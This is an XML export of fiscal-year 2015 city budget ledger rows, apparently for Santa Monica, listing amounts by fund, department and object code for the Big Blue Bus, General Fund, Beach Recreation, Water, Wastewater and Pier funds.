<row _id="14332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>577065.0</object><object_description>MEMBERSHIP FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1415.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1415.0</total></row>
<row _id="14333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>44920.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44920.0</total></row>
<row _id="14334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>176200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>176200.0</total></row>
<row _id="14335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>566230.0</object><object_description>BEACH PARKING LOT MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>545734.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>545734.0</total></row>
<row _id="14338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="14339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404210.0</object><object_description>OTHER OPER REV-ADVERTISING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2000000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2000000.0</total></row>
<row _id="14340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407020.0</object><object_description>PROP C TRANSIT SECURITY</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-1087742.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1087742.0</total></row>
<row _id="14341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>101284.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101284.0</total></row>
<row _id="14342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29948.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29948.0</total></row>
<row _id="14343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="14344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1209.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1209.0</total></row>
<row _id="14345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="14346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544111.0</object><object_description>PRINTED FORMS-LIT GRANT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533650.0</object><object_description>CONF / MTGS / TRAVEL-TV</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7268.0</total></row>
<row _id="14351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20360.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20360.0</total></row>
<row _id="14353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-217900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-217900.0</total></row>
<row _id="14354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400770.0</object><object_description>LEASE RENTAL REV-BEACH CLUB</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-409822.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-409822.0</total></row>
<row _id="14355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401270.0</object><object_description>LEASED BEACH CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-648991.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-648991.0</total></row>
<row _id="14356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-81389.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-81389.0</total></row>
<row _id="14357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555020.0</object><object_description>OUTSIDE SERVICE-SECURITY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>476000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>476000.0</total></row>
<row _id="14358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>942678.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>942678.0</total></row>
<row _id="14359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407380.0</object><object_description>MILES CUSTOMER CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="14361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="14362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2015</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="14363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578530.0</object><object_description>TRANSFER TO PIER FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>909069.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>909069.0</total></row>
<row _id="14364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578530.0</object><object_description>TRANSFER FROM GENERAL FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-909069.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-909069.0</total></row>
<row _id="14365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400360.0</object><object_description>SMARS SOCIAL PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3500.0</total></row>
<row _id="14366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407560.0</object><object_description>SPECIAL INSPECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="14367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>154585.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>154585.0</total></row>
<row _id="14368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567010.0</object><object_description>PUBLIC SAFETY BONDS</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>969000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>969000.0</total></row>
<row _id="14370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7635.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7635.0</total></row>
<row _id="14371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400220.0</object><object_description>MEMORIAL PARK GYM USER FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-21600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21600.0</total></row>
<row _id="14372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400770.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-3981593.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3981593.0</total></row>
<row _id="14373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-88000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-88000.0</total></row>
<row _id="14374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-452336.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-452336.0</total></row>
<row _id="14375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-60248.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-60248.0</total></row>
<row _id="14376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1570.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1570.0</total></row>
<row _id="14377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>166.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166.0</total></row>
<row _id="14378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4522649.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4522649.0</total></row>
